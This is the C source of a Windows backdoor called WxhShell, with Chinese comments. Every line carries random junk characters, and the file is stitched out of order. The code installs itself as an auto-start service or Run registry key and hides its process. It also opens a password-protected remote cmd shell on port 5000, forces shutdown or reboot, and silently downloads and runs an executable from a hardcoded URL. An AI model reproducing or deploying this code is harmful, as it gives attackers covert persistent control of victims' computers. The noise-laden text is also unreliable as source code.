  case 'd': { |V\.[F2Fe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *'YNRM\}  
    if(Boot(SHUTDOWN)) 1ckw[0d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;CMC`h9,  
    else { 23$hwr&G\  
    closesocket(wsh); |u"R(7N*  
    ExitThread(0);  #>jH[Q  
    } 8MeXVhM  
    break; t!SQLgA  
    } E$tk1SVo  
  // 获取shell +~Lzsh"  
  case 's': { 3c^=<i %  
    CmdShell(wsh); j{R|]SjW2H  
    closesocket(wsh); |/^aL j^u  
    ExitThread(0); 1vs>2` DLa  
    break; W lQ=CRY  
  } Kw0V4UF  
  // 退出 0~b6wuFl  
  case 'x': { !7`=rT&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K}`p_)(  
    CloseIt(wsh); K4/P(*r`  
    break; DG*o w^  
    } @Q\$dneY  
  // 离开 zXPJ;^Xxa  
  case 'q': { !VX_'GyK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G=!bM(]R~  
    closesocket(wsh); ;9p5YxD  
    WSACleanup(); |ak C  
    exit(1); (l8r>V  
    break; &IEBZB\/+&  
        } T{4fa^c2J  
  } 1+tt'  
  } R}X_2""  
jjwMvf.R  
  // 提示信息 ]a!; `m$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T:%wX9W  
} PnIvk]"Ab  
  } #D/ }u./  
uU(G_E ?  
  return; :.[5('  
} |vDoqlW  
ws2 j:B  
// shell模块句柄 ENXW#{N.v  
int CmdShell(SOCKET sock) 6a]f&={E  
{ 2<o[@w  
STARTUPINFO si; 1X"H6j[w  
ZeroMemory(&si,sizeof(si)); \v3> Eo[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f93rY<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; % r   
PROCESS_INFORMATION ProcessInfo; 7R<u=U  
char cmdline[]="cmd"; e4YfT r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XBWSO@M'  
  return 0; Rc:cVK  
} W[X!P)=w]  
dbT^9: Q  
// 自身启动模式 -?w v}o  
int StartFromService(void) oj(A`[  
{ _h=< _Z  
typedef struct S5E,f?l  
{ W3{<e"  
  DWORD ExitStatus; C+(Gg^ w  
  DWORD PebBaseAddress; 3@TG.)N4  
  DWORD AffinityMask; 18p3  
  DWORD BasePriority; @@{_[ir  
  ULONG UniqueProcessId; ]i,Mq  
  ULONG InheritedFromUniqueProcessId; G9'YgW+$7  
}   PROCESS_BASIC_INFORMATION; &pMlt7  
"l[ V%f E  
PROCNTQSIP NtQueryInformationProcess; %YvSHh;c  
A.$VM#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Cmj(k`~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uWR,6\_jY  
iZ.&q 6  
  HANDLE             hProcess; }OP%p/eY  
  PROCESS_BASIC_INFORMATION pbi; Q9eYF-+  
^E<~zO=Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {GX &)c4  
  if(NULL == hInst ) return 0; cEdz;kbUM  
*<.WL"Qhl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R(/[NvUb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 71 L\t3fG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ."F'5eTT~  
qtdxMX]iR  
  if (!NtQueryInformationProcess) return 0; k;K> ,$ F  
K.#,O+-Kg`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); / UaNYv/  
  if(!hProcess) return 0; C6D=>%uY  
liCCc;&B;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RQ*|+ ~H  
!4 4mT'Y  
  CloseHandle(hProcess); 7SA-OFM  
TRySl5jx@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :_fjml/  
if(hProcess==NULL) return 0; p;n3`aVh  
zO).<xIq+  
HMODULE hMod; n $O.>  
char procName[255]; +9 16ZPk  
unsigned long cbNeeded; qUEd E`B  
"u Of~e"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JI+KS  
^:cb $9F  
  CloseHandle(hProcess); wv7p,9Z[  
OXIu>jF  
if(strstr(procName,"services")) return 1; // 以服务启动 yd0=h7s  
>ggk>s|  
  return 0; // 注册表启动 a9? v\hG  
} =q"w2b&  
[$1: &!(!  
// 主模块 {m_A1D/_  
int StartWxhshell(LPSTR lpCmdLine) [U%ym{be ^  
{ je- , S>U  
  SOCKET wsl; @Hspg^  
BOOL val=TRUE; F= _uNq  
  int port=0; Cz=A{< ^g  
  struct sockaddr_in door; 0.J1!RIK/  
{FV,j.D  
  if(wscfg.ws_autoins) Install(); vB{; N  
.-('C> @  
port=atoi(lpCmdLine);  fW5" 4,  
!7mvyc!'!  
if(port<=0) port=wscfg.ws_port; k\+y4F8$x  
NK  
  WSADATA data; Rm,[D)D^0N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _XY`UZ  
u_}`y1Xu#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pp1zW3+Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `uIx/.L  
  door.sin_family = AF_INET; Qfkh0DX B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (aDb^(]>  
  door.sin_port = htons(port); n=<NFkeX  
|dl0B26x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "t (1tWO1o  
closesocket(wsl); ! F0rd9  
return 1; + AcKB82  
} ?o(ZTlT  
eD*?q7  
  if(listen(wsl,2) == INVALID_SOCKET) { _" ?c9  
closesocket(wsl); };|!Lhl+  
return 1; b"ol\&1 #  
} r,`Z.A  
  Wxhshell(wsl); y'J:?!S,Yu  
  WSACleanup(); (xk.NZn F  
VZT6;1TD$8  
return 0; 1&X}1  
u#a%(  
} ysSjc  
38V $<w  
// 以NT服务方式启动 ^3Z7dIUww  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ 7U Dz  
{ l?[{?Luq  
DWORD   status = 0; f p v= P  
  DWORD   specificError = 0xfffffff; JYZ2k=zh  
T7>4 8eH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I!|y;mh:it  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Az8K)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8Zcol$XS'  
  serviceStatus.dwWin32ExitCode     = 0; =&di4'`  
  serviceStatus.dwServiceSpecificExitCode = 0; b34zhZ  
  serviceStatus.dwCheckPoint       = 0; }G>v]bV0V  
  serviceStatus.dwWaitHint       = 0; Ez06:]Jd  
c[(yU#@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /#-,R,Q  
  if (hServiceStatusHandle==0) return; o/tVcv  
i&A{L}eCr:  
status = GetLastError(); .+{nA}Bc  
  if (status!=NO_ERROR) tj#=%m?8V;  
{ K(-G: |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zvd ;KGO(a  
    serviceStatus.dwCheckPoint       = 0; r+imn&FK8  
    serviceStatus.dwWaitHint       = 0; 52>[d3I3  
    serviceStatus.dwWin32ExitCode     = status; 4mEzcwo'  
    serviceStatus.dwServiceSpecificExitCode = specificError; >X;xIyRL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8q_1(& O  
    return; r5f^WZ$-  
  } +IwdMJ8&8  
Xtuhcdzu[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hnfvo*6d.e  
  serviceStatus.dwCheckPoint       = 0; I#i?**  
  serviceStatus.dwWaitHint       = 0; e%PC e9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mDb-=[W5  
} Jz~+J*r;]A  
[GtcaX{Zz  
// 处理NT服务事件,比如:启动、停止 +\+Uz!YS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) th5,HO~  
{ <'r0r/0g?  
switch(fdwControl) Iv'RLM  
{ NY4!TOp  
case SERVICE_CONTROL_STOP: NzjMk4t  
  serviceStatus.dwWin32ExitCode = 0; lr9=OlH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?wGiog<Q{  
  serviceStatus.dwCheckPoint   = 0; JaH* rDs-  
  serviceStatus.dwWaitHint     = 0; l_^T&xq8  
  { Oamv9RyDvC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kg4QT/0VA  
  } zt7_r`#z  
  return; ]O6KKz  
case SERVICE_CONTROL_PAUSE: x7vq?fP0n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XxmJP5  
  break; w@87]/4Rq  
case SERVICE_CONTROL_CONTINUE: _aVJ$N.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /)sDnJ1r  
  break; * eA{[  
case SERVICE_CONTROL_INTERROGATE: Gh2#-~|cB  
  break; %GM>u2baw  
}; ^$e0t;W=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G1kDM.L  
} l<u{6o  
}16&1@8  
// 标准应用程序主函数 l*$WX=h6n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?g5iok {  
{ 4BHtR017r  
5i^`vmK  
// 获取操作系统版本 \M+MDT&  
OsIsNt=GetOsVer(); gdOe)il\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0LS -i%0  
7*+Km'=M  
  // 从命令行安装 ]PeLcB  
  if(strpbrk(lpCmdLine,"iI")) Install(); nHrP>zN  
:_>\DJ'>  
  // 下载执行文件 L_E^}^1!  
if(wscfg.ws_downexe) { [}{w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I!61 K  
  WinExec(wscfg.ws_filenam,SW_HIDE); )X7e$<SU*  
} :M@Mmp Ph  
6 4?Pfir6  
if(!OsIsNt) { B,4q>KQA  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kl2}o|b   
HideProc(); #>BX/O*D  
StartWxhshell(lpCmdLine); $+7ci~gs  
} *U M! (  
else >H$;Z$o*(  
  if(StartFromService()) o1e4.-xI  
  // 以服务方式启动 3 sl=>;-  
  StartServiceCtrlDispatcher(DispatchTable); |Mt&p#y  
else \xF;{}v  
  // 普通方式启动 {z=j_;<]  
  StartWxhshell(lpCmdLine); Ah*wQow  
e"*BHvy F  
return 0; R_7 6W&  
} S)+CTVVE  
tL1P<1j_  
zkd3Z$Ce  
C9o$9 l+B  
=========================================== j]>=1Rd0b(  
>o#ERNf  
4ffU;6~l'  
~xw5\Y^  
,`y yR:F  
K|US~Hgv  
" #hpIyy%n  
F#B5sLNb  
#include <stdio.h> sA3UeTf  
#include <string.h> U{"f.Z:Ydo  
#include <windows.h> %06vgjOa (  
#include <winsock2.h> c& 3#-DNI  
#include <winsvc.h> <8f(eP\*F  
#include <urlmon.h> h!v/s=8c  
'5AvT: ^u  
#pragma comment (lib, "Ws2_32.lib") .?B{GnB>  
#pragma comment (lib, "urlmon.lib") TiQ^}5~M  
GYd]5`ri  
#define MAX_USER   100 // 最大客户端连接数 EA6t36|TX  
#define BUF_SOCK   200 // sock buffer +GYS26  
#define KEY_BUFF   255 // 输入 buffer ]Dh1~k.Kp  
te)n{K",  
#define REBOOT     0   // 重启 8`*`nQhWa  
#define SHUTDOWN   1   // 关机 H/^B.5RYE>  
BMdSf(l  
#define DEF_PORT   5000 // 监听端口 6ga5^6W  
kff ZElV  
#define REG_LEN     16   // 注册表键长度 BY$[g13  
#define SVC_LEN     80   // NT服务名长度 <FQFv IKg  
jP+ pA e  
// 从dll定义API ;@9e\!%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G)8ChnJa!m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vnTq6:f#M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kQIfYtT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .A(i=!{q  
|:N>8%@6c  
// wxhshell配置信息 p'g^Wh  
struct WSCFG { %&tb9_T)d  
  int ws_port;         // 监听端口 .1LPlZ  
  char ws_passstr[REG_LEN]; // 口令 gJh}CrU-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2 Kl a8  
  char ws_regname[REG_LEN]; // 注册表键名 Ssf+b!e]  
  char ws_svcname[REG_LEN]; // 服务名 MQJ%He"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3"Yif  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9KyZEH;pY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BRa{\R^I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9_UN.]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +bUW!$G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -TTs.O8P|<  
x#mtS-sw2Q  
}; r1;e 0\?`  
Yy hny[fa9  
// default Wxhshell configuration 0cFn{q'u  
struct WSCFG wscfg={DEF_PORT, N xFUO0O3  
    "xuhuanlingzhe", @(>XOj?+  
    1, [zQ WyDu  
    "Wxhshell", Tm_8<$ 7  
    "Wxhshell", =JW[pRI5a  
            "WxhShell Service", e #M iaX  
    "Wrsky Windows CmdShell Service", iDw.i"b  
    "Please Input Your Password: ", DvYwCgLR  
  1, %'0&ElQ  
  "http://www.wrsky.com/wxhshell.exe", Xu6K%]i^  
  "Wxhshell.exe" 036[96t,F  
    }; t8/%D gu  
(sCAR=5v\  
// 消息定义模块 Yb 6q))Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /zT`Y=1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Kw5Ro`I:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sy  
char *msg_ws_ext="\n\rExit."; LG&5VxT=,<  
char *msg_ws_end="\n\rQuit."; |` "?  
char *msg_ws_boot="\n\rReboot..."; 2m"_z  
char *msg_ws_poff="\n\rShutdown..."; \ha-"Aqze3  
char *msg_ws_down="\n\rSave to "; )7Ixz1I9g  
W5Zqgsy($F  
char *msg_ws_err="\n\rErr!"; Xa,\EEmQ  
char *msg_ws_ok="\n\rOK!"; Kam]Mn'  
@5E,:)T*wR  
char ExeFile[MAX_PATH]; ^N-'xy  
int nUser = 0; #\ #3r  
HANDLE handles[MAX_USER]; 7"cv|6y|  
int OsIsNt; \|t{e8}  
f4"4ZVcr  
SERVICE_STATUS       serviceStatus; pj; I)-d/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >f$NzJ}  
9Ejyg*  
// 函数声明 ]Ik%#l.G_  
int Install(void); /_*>d)  
int Uninstall(void); wa ky<w,  
int DownloadFile(char *sURL, SOCKET wsh); X#ZgS!Mn  
int Boot(int flag); 5)M 2r!\  
void HideProc(void); Fw"$A0  
int GetOsVer(void); ~5 >[`)  
int Wxhshell(SOCKET wsl); 55m<XC  
void TalkWithClient(void *cs); Y(r@v  
int CmdShell(SOCKET sock); n8u*JeN  
int StartFromService(void); !ni>\lZ  
int StartWxhshell(LPSTR lpCmdLine); ]JMl|e  
Qn|+eLY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Js{= i>D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HnU Et/  
,@.EpbB  
// 数据结构和表定义 VLdB_r3lQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 78]gt J  
{ JJnYOau  
{wscfg.ws_svcname, NTServiceMain}, jg_n7  
{NULL, NULL} E\$C/}T  
}; S_\ F  
Cj^{9'0  
// 自我安装 x8"#!Pw:`"  
int Install(void) N wtg%;  
{ `@XehSQ  
  char svExeFile[MAX_PATH]; Wi$dZOcSJ  
  HKEY key; FjFwvO_.  
  strcpy(svExeFile,ExeFile); Fo}7hab  
XYfv(y  
// 如果是win9x系统,修改注册表设为自启动 KDTDJ8  
if(!OsIsNt) { q3S+Y9L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ST;t, D:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H?Jm'\~  
  RegCloseKey(key); Z<"K_bj   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > 0.W`j(s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dR+1aY;  
  RegCloseKey(key); 4!%F\c46  
  return 0; B42sb_  
    } Ns=AjhLc z  
  } ZnfNQl[  
} v>m n/a  
else { XUmR{A  
v(O=IUa  
// 如果是NT以上系统,安装为系统服务 `hrQw)5?r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XvKFPr0~  
if (schSCManager!=0) GwLFL.Ke  
{ o#D.9K(  
  SC_HANDLE schService = CreateService s 3r=mp{  
  ( 4c159wsnQ  
  schSCManager, 8C7Z{@A&#  
  wscfg.ws_svcname, Qh`:<KI  
  wscfg.ws_svcdisp, LFu%v7L`  
  SERVICE_ALL_ACCESS, `ifiL   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ao$.6X8fQ  
  SERVICE_AUTO_START, ;t(f1rPyE  
  SERVICE_ERROR_NORMAL, qf8[!5GM  
  svExeFile, S$[k Q|Am  
  NULL, 0rE(p2  
  NULL, 'q{733o  
  NULL, UVEz;<5@\  
  NULL, J4aB Pq`  
  NULL gEJi[E@  
  ); P Sx304  
  if (schService!=0) g/Wh,f3  
  { i::\Z$L";i  
  CloseServiceHandle(schService); n&Yk<  
  CloseServiceHandle(schSCManager); N1x@-/xa|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d,cN(  
  strcat(svExeFile,wscfg.ws_svcname); '&yeQ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jbmTmh1q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y(6Sp'0  
  RegCloseKey(key); la^ DjHA$  
  return 0; vkcRm`.  
    } #A<P6zJXR  
  } 0q6I;$H  
  CloseServiceHandle(schSCManager); Ee2c5C!|C  
} RBGX_v?  
} v:|( 8Y  
tE"Si<[]H$  
return 1; .$rC0<G[K  
} ra6o>lI(,  
uTvv(f  
// 自我卸载 K_/B?h  
int Uninstall(void) SO?8%s(   
{ Is.WZY a  
  HKEY key; 0l\y.   
!<n"6KA.  
if(!OsIsNt) { Qt+:4{He  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z/]q)`G  
  RegDeleteValue(key,wscfg.ws_regname); 0$P/jt  
  RegCloseKey(key); buMq F-j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -J0WUN$2*  
  RegDeleteValue(key,wscfg.ws_regname); #exss=as/  
  RegCloseKey(key); 7Z,/g|s}z  
  return 0; 9NpD!A&64<  
  } F%/ h*  
} m7qqY  
} }5 9U}@xC  
else { lmCZ8 j(FF  
Bl;KOR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z)"61) )  
if (schSCManager!=0) t+TYb#Tc  
{ `\Unpp\I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0pgY1i7  
  if (schService!=0) 53OJ-m%a  
  { V'gw\mcb  
  if(DeleteService(schService)!=0) { 3f76kl(&  
  CloseServiceHandle(schService); 6][1 <}8  
  CloseServiceHandle(schSCManager); 8im@4A+n`  
  return 0; /VTM 9)u  
  } O8u3y  
  CloseServiceHandle(schService); UlovXb  
  } G*}F5.>8(  
  CloseServiceHandle(schSCManager); saZ>?Owz  
} >_ \<E!j  
} LM l~yqM  
=y]$0nh  
return 1; &%C4Ugo  
} z;}6f  
F[`ZqW  
// 从指定url下载文件 !u;>Wyd W  
int DownloadFile(char *sURL, SOCKET wsh) i+vsp@d  
{ u<tk G B  
  HRESULT hr; ; y.E!  
char seps[]= "/"; 'cdN3i(  
char *token; Iw=Sq8  
char *file; lE#m]D  
char myURL[MAX_PATH]; T1Ta?b  
char myFILE[MAX_PATH]; )R)a@op  
40P) 4w  
strcpy(myURL,sURL); 4FMF|U  
  token=strtok(myURL,seps); 6`H.%zM  
  while(token!=NULL) ]$iN#d|ZU  
  { d^D i*&X  
    file=token; (Xx n\*S  
  token=strtok(NULL,seps); n&XGBwgW  
  } Qvoqx>2p5  
g"8 .}1)~r  
GetCurrentDirectory(MAX_PATH,myFILE); -8Ti*:  
strcat(myFILE, "\\"); NucM+r1P  
strcat(myFILE, file); +|RB0}hFS-  
  send(wsh,myFILE,strlen(myFILE),0); ~Gv#iRi>  
send(wsh,"...",3,0); \NL+}cL/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b=PVIZ  
  if(hr==S_OK) / !xF?OmVd  
return 0;  z01>'  
else (!K_Fy@  
return 1; tbDoP Y  
E+xuWdp.*  
} pw020}`  
K\.5h4k  
// 系统电源模块 $p* p  
int Boot(int flag) =[tSd)D,y  
{ O/Y)&VG7  
  HANDLE hToken; (M-ZQ -  
  TOKEN_PRIVILEGES tkp; H#d:kilNy  
%}Q&1P=  
  if(OsIsNt) { }=}>9DS M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b\55,La  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %Kb9tHg  
    tkp.PrivilegeCount = 1; L\aBc}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v:_B kHN'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l:(Rb-Wy  
if(flag==REBOOT) { iZ,YxN<R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *TdnB'Gd  
  return 0; 4&^9Wklj  
} j . A6S`  
else { p9ZXbAJ{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 83ipf"]*  
  return 0; !fkep=  
} dj9 ?t  
  } FH5ql~  
  else { .m4;^S2cO  
if(flag==REBOOT) { [w \?j,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gPC@Yy  
  return 0; W0`Gc {  
} ./-JbW  
else { 0lk;F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QL7>;t;  
  return 0; (&\aA 0-}H  
} JqUADm  
} ^U7OMl4Usq  
E_ucab-Fi  
return 1; HL{$ ^l#v  
} q }C+tn"\  
\>/M .2  
// win9x进程隐藏模块 m>&HuHf  
void HideProc(void) Z+:D)L  
{ vq'c@yw;  
748CD{KxW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J]/}ojW3  
  if ( hKernel != NULL ) -#&kYK#Ph  
  { I?!rOU= 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lm)\Z P+W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %i{;r35M;9  
    FreeLibrary(hKernel); $A\m>*@  
  } q`|CrOzO  
V1=*z  
return; Bo_ym36N  
} MFit|C  
S4NL "m  
// 获取操作系统版本 J QKdW  
int GetOsVer(void) %Q|eiXD  
{ Xo5$X7m  
  OSVERSIONINFO winfo; yYJY;".H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '{?C{MK3Q  
  GetVersionEx(&winfo); /ci]}`'ws  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]n1dp2aH  
  return 1; jh ez  
  else >O9 sk  
  return 0; g;p)n  
} t@zdm y  
XH4d<?qu  
// 客户端句柄模块 3SG?W_  
int Wxhshell(SOCKET wsl) P!g-X%ngo  
{ X~T/qFS   
  SOCKET wsh; aC=['a>)  
  struct sockaddr_in client; ~Vh=5J~  
  DWORD myID; my\&hCE  
Iq5pAHm>M6  
  while(nUser<MAX_USER) b}z`BRCc  
{ .#6MQJ]OH  
  int nSize=sizeof(client); RNJ FSD.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Va<H U:<  
  if(wsh==INVALID_SOCKET) return 1; jRZ%}KX  
0NE{8O0;Fr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~9o6 W",  
if(handles[nUser]==0) lPq\=V  
  closesocket(wsh); O_,O,1  
else U..<iNQE5  
  nUser++; [IX+M#mf  
  } `H%G3M0a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .QWhK|(.!  
=jAFgwP\  
  return 0; lP<I|O=z  
} 6 DF  
Rs;15@t@  
// 关闭 socket -e-e9uP  
void CloseIt(SOCKET wsh) G$WOzY(  
{ ?r_kyuU  
closesocket(wsh); fZryG  
nUser--; :J_oj:0r"f  
ExitThread(0); Pi6C/$ K  
} S\C*iGeqJ  
_kraMQ>  
// 客户端请求句柄 "PWl4a&  
void TalkWithClient(void *cs) nS.G~c|  
{ /MTf0^9  
Fe=8O ^\  
  SOCKET wsh=(SOCKET)cs; 9M$/=>^ Z  
  char pwd[SVC_LEN]; @s* ,xHE  
  char cmd[KEY_BUFF]; 3}Xc71|v  
char chr[1]; c$M%G)P  
int i,j; ETw]! br  
t%0?N<9YkU  
  while (nUser < MAX_USER) { I*)VZW  
>9K//co"of  
if(wscfg.ws_passstr) { n]? WCG}cd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S q@H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w<nv!e?  
  //ZeroMemory(pwd,KEY_BUFF); kyUl{Zj  
      i=0; L ubrn"128  
  while(i<SVC_LEN) { cnNOZ$)  
v"lf-c  
  // 设置超时 gT52G?-  
  fd_set FdRead; 4YA./j%'  
  struct timeval TimeOut; ur%$aX)  
  FD_ZERO(&FdRead); y;`eDS'0.N  
  FD_SET(wsh,&FdRead); wz(K*FP  
  TimeOut.tv_sec=8; 440FhD Mj  
  TimeOut.tv_usec=0; pWaPC /,g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /p`&;/V|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F 1W+o?B  
)c<6Sfp^B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aq>?vti1D  
  pwd=chr[0]; M@7Xp)S"  
  if(chr[0]==0xd || chr[0]==0xa) { {[#(w75R{  
  pwd=0; 8n)WW$  
  break; ]r"Yqv3  
  } Zr/r2  
  i++; gQVBA %  
    } e1(h</MU2  
RXSf,O  
  // 如果是非法用户,关闭 socket __N.#c/l{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !vqC+o>@  
} Jbw!:x [  
HkjEiU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'p}`i/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dk5|@?pe  
Bq}x9C&<  
while(1) { pdz'!I  
%efGt6&  
  ZeroMemory(cmd,KEY_BUFF); " ~Q*XN2  
d0UZ+ RR#  
      // 自动支持客户端 telnet标准   kn  Hv?#  
  j=0; #uvJH8)D  
  while(j<KEY_BUFF) {  W'/>et  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zQfkMa.  
  cmd[j]=chr[0]; szq+@2:  
  if(chr[0]==0xa || chr[0]==0xd) { 4<gJ2a3  
  cmd[j]=0; f\o R:%  
  break; /&s}<BMHU  
  } Y`li> .\  
  j++; >)Dhi+D  
    } ,;iA2  
JeQ[qQ  
  // 下载文件 s-D?)  
  if(strstr(cmd,"http://")) { ([pSVOnIz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oXal  
  if(DownloadFile(cmd,wsh)) __\P`S_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L,M+sN  
  else WmVVR>0V|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K8Zt:yP  
